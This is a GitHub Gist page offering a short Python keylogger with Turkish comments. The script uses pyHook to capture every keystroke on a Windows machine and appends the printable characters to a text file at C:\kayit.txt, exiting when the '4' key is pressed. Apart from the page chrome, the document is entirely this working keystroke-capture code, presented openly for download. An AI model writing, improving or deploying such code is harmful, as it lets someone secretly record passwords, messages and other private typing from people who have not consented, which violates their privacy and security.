-
-
Save mustafat0k/bd61a6028de0d604a624a9e84141d375 to your computer and use it in GitHub Desktop.
Python Keylogger
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyHook | |
import pythoncom | |
import sys | |
class dinlensek: | |
def __init__(self): | |
exitKey="4" | |
adres="C:\kayit.txt" #acılacak txt dosyasının adresi | |
self.exitKey= exitKey | |
self.hm = pyHook.HookManager() | |
self.hm.KeyDown = self.yazVeKaydet #mouse ve klavye olaylarını kaydeder | |
self.hm.HookKeyboard() #klavye olaylarını izler | |
self.kayitDefteri = open(adres, 'a') # adresi verilen yerdede kayıt adlı *.txt uzantılı dosya ac | |
self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape | |
self.asciiSubset.extend(range(32,128)) | |
pythoncom.PumpMessages() | |
def yazVeKaydet(self, event): | |
if event.Ascii in self.asciiSubset: | |
self.kayitDefteri.write(chr(event.Ascii)) | |
if event.Key ==self.exitKey: #basılan tus 4 ise çık. | |
sys.exit() | |
return True | |
dinlensek() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment